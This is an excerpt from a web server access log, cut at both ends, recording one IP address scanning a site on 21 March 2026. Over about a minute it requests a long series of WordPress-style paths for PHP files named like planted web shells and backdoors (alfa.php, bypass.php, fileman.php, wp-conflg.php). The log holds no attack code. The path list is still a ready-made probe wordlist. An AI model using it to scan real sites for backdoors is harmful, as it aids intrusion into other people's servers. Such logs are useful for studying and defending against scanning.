/wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:25 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:25 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:25 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:26 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:45:26 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:26 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:26 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:26 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:27 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:27 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:27 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:27 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:27 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:28 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:28 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:28 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:28 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:28 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:29 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:29 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:29 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:29 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:29 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:30 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:45:30 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:30 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:30 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:30 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:31 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:31 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:31 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:31 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:32 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:32 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:32 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:32 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:32 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:33 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:33 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:33 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:33 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:33 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:34 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:34 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:34 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:34 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:34 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:35 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:35 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:45:35 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:35 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:36 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:36 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:45:36 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:36 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:36 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:37 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:37 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:45:37 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:37 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:37 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:38 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:38 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:38 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:38 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:38 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:45:39 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:39 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:39 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:39 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:39 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:40 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:40 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:40 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:40 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:45:40 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:41 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:41 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:41 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:41 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:41 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:42 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:42 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:42 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:42 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:43 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:43 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:43 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:43 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:43 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:44 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:44 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:44 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:45:44 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:45 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:45 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:45 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:45 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:45 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:46 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:46 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:46 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:46 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:46 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:47 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:47 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:47 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:47 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:48 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:48 +0300] "GET /wp-includes/js/simi.php 